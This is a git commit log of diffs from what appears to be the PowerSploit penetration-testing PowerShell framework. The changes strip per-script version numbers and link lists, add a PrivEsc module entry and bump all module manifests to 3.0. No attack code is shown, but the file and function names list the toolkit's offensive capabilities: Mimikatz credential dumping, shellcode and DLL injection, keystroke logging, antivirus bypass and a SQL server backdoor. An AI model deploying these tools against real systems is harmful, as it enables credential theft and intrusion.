} diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 4a1d0e8..990c4b1 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -153,13 +153,10 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl .LINK -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ -Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ - #> [CmdletBinding()] diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 index c15d478..0c06424 100644 --- a/CodeExecution/Invoke-WmiCommand.ps1 +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -1,5 +1,3 @@ -#Requires -Version 2 - function Invoke-WmiCommand { <# .SYNOPSIS diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index ea87de4..768a0d2 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -9,7 +9,6 @@ function Get-GPPPassword { License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.4.2 .DESCRIPTION diff --git a/Exfiltration/Invoke-CredentialInjection.ps1 b/Exfiltration/Invoke-CredentialInjection.ps1 index f4357bd..a7b312d 100644 --- a/Exfiltration/Invoke-CredentialInjection.ps1 +++ b/Exfiltration/Invoke-CredentialInjection.ps1 @@ -13,7 +13,6 @@ function Invoke-CredentialInjection License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 1.1 .DESCRIPTION diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 6934584..c701f63 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -15,9 +15,7 @@ Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. License: http://creativecommons.org/licenses/by/3.0/fr/ Required Dependencies: Mimikatz (included) Optional Dependencies: None -Version: 1.5 -ReflectivePEInjection version: 1.1 -Mimikatz version: 2.0 alpha (2/16/2015) +Mimikatz version: 2.0 alpha (12/14/2015) .DESCRIPTION @@ -62,15 +60,7 @@ Find mimikatz at: http://blog.gentilkiwi.com .LINK -Blog: http://clymb3r.wordpress.com/ -Benjamin DELPY blog: http://blog.gentilkiwi.com - -Github repo: https://github.com/clymb3r/PowerShell -mimikatz Github repo: https://github.com/gentilkiwi/mimikatz - -Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ -Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ - +http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ #> [CmdletBinding(DefaultParameterSetName="DumpCreds")] diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index 36cef8d..15bee1b 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -25,8 +25,6 @@ Contributors: This script has a byte array hardcoded, which contains a DLL wich License: GPLv3 or later Required Dependencies: None Optional Dependencies: None -Version: 1.1 -ReflectivePEInjection version: 1.1 .DESCRIPTION diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 90f9d47..3a61da8 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -49,8 +49,6 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.12 -(1.11 -> 1.12: Simple logic added by Josh M. Bryant to find an unprotected process to grab a SYSTEM token from, rather than hardcoding to wininit, https://www.fixtheexchange.com/) .DESCRIPTION diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index 9d6952e..579dd0e 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -10,7 +10,6 @@ function Get-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 #> $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) @@ -35,7 +34,6 @@ function New-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 .DESCRIPTION @@ -121,7 +119,6 @@ function Remove-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 .DESCRIPTION @@ -180,7 +177,6 @@ function Mount-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 .DESCRIPTION diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 678294b..0137fd7 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -41,5 +41,6 @@ ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUI @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, - @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} ) + @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, + @{ModuleName = 'PrivEsc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) } diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 99bbb89..6f059e2 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -15,10 +15,6 @@ Optional Dependencies: None Does a simple port scan using regular sockets, based (pretty) loosely on nmap -.NOTES - -version .13 - .PARAMETER Hosts Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in -- cgit v1.2.3 From 55098d59e9f07efdef9bbae5fa998a7f448e6556 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 17:08:49 -0800 Subject: Removed version numbers from scripts A module should maintain a version number not the individual scripts. --- Recon/Get-ComputerDetails.ps1 | 6 ------ 1 file changed, 6 deletions(-) (limited to 'Recon') diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index 33e8d06..bd00deb 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -9,7 +9,6 @@ Function: Get-ComputerDetails Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -102,7 +101,6 @@ Function: Find-4648Logons Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -230,7 +228,6 @@ Function: Find-4624Logons Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -376,7 +373,6 @@ Function: Find-AppLockerLogs Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -442,7 +438,6 @@ Function: Find-AppLockerLogs Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -523,7 +518,6 @@ Function: Find-RDPClientConnections Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION -- cgit v1.2.3 From 9f183e36518176c4299eed5c68b7deac7f4e8025 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 18 Dec 2015 16:28:03 -0800 Subject: Set all module versions to 3.0 Also cleaned up some module manifest cruft. --- AntivirusBypass/AntivirusBypass.psd1 | 19 ++------- CodeExecution/CodeExecution.psd1 | 57 +-------------------------- Exfiltration/Exfiltration.psd1 | 17 +------- Mayhem/Mayhem.psd1 | 59 +--------------------------- Persistence/Persistence.psd1 | 5 +-- PowerSploit.psd1 | 17 ++++---- Privesc/Privesc.psd1 | 62 +----------------------------- Recon/Recon.psd1 | 59 +--------------------------- ScriptModification/ScriptModification.psd1 | 59 +--------------------------- 9 files changed, 19 insertions(+), 335 deletions(-) (limited to 'Recon') diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index 507cfdb..037f570 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,9 +1,10 @@ @{ + # Script module or binary module file associated with this manifest. ModuleToProcess = 'AntivirusBypass.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b' @@ -11,9 +12,6 @@ GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -26,18 +24,7 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}) - # List of all files packaged with this module FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md' + } diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 96e9abc..93c2cd3 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'CodeExecution.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c' @@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) - # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 6776b14..da78493 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Exfiltration.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a' @@ -12,9 +12,6 @@ GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -30,18 +27,6 @@ FormatsToProcess = 'Get-VaultCredential.ps1xml' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}) - # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index 8eb0566..f28493f 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Mayhem.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' @@ -12,9 +12,6 @@ GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,64 +21,10 @@ Description = 'PowerSploit Mayhem Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'}) - # List of all files packaged with this module FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index e17faf1..ffcd875 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Persistence.psm1' # Version number of this module. -ModuleVersion = '1.1.1.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '633d0f10-a056-41da-869d-6d2f75430195' @@ -24,9 +24,6 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - # List of all files packaged with this module FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md' diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 10c59f2..bc482e1 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -3,7 +3,7 @@ ModuleToProcess = 'PowerSploit.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '6753b496-d842-40a3-924a-0f09e248640c' @@ -138,13 +138,13 @@ FunctionsToExport = @( ) # List of all modules packaged with this module. -ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, - @{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, - @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, - @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, - @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, - @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, - @{ModuleName = 'PrivEsc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) +ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '3.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, + @{ModuleName = 'CodeExecution'; ModuleVersion = '3.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, + @{ModuleName = 'Exfiltration'; ModuleVersion = '3.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, + @{ModuleName = 'Recon'; ModuleVersion = '3.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, + @{ModuleName = 'ScriptModification'; ModuleVersion = '3.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, + @{ModuleName = 'Persistence'; ModuleVersion = '3.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, + @{ModuleName = 'PrivEsc'; ModuleVersion = '3.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) PrivateData = @{ @@ -162,4 +162,5 @@ PrivateData = @{ } } + } diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index bca4261..34ebf7b 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Privesc.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' @@ -12,9 +12,6 @@ GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' # Author of this module Author = 'Will Schroder' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,39 +21,6 @@ Description = 'PowerSploit Privesc Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of Microsoft .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = @() - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = @( 'Get-ServiceUnquoted', @@ -81,32 +45,8 @@ FunctionsToExport = @( 'Invoke-AllChecks' ) -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '*' - -# Aliases to export from this module -AliasesToExport = '*' - -# DSC resources to export from this module -# DscResourcesToExport = @() - -# List of all modules packaged with this module -ModuleList = @(@{ModuleName = 'Privesc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'}) - # List of all files packaged with this module FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 5a4cfbe..55f19f7 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Recon.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' @@ -12,9 +12,6 @@ GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' # Author of this module Author = 'Matthew Graeber', 'Will Schroeder' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,39 +21,6 @@ Description = 'PowerSploit Reconnaissance Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = @( 'Get-ComputerDetails', @@ -125,29 +89,8 @@ FunctionsToExport = @( 'Invoke-MapDomainTrust' ) -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) - # List of all files packaged with this module FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index d326c12..923c874 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'ScriptModification.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610' @@ -12,9 +12,6 @@ GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,65 +21,11 @@ Description = 'PowerSploit Script Preparation/Modification Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}) - # List of all files packaged with this module FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1', 'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } -- cgit v1.2.3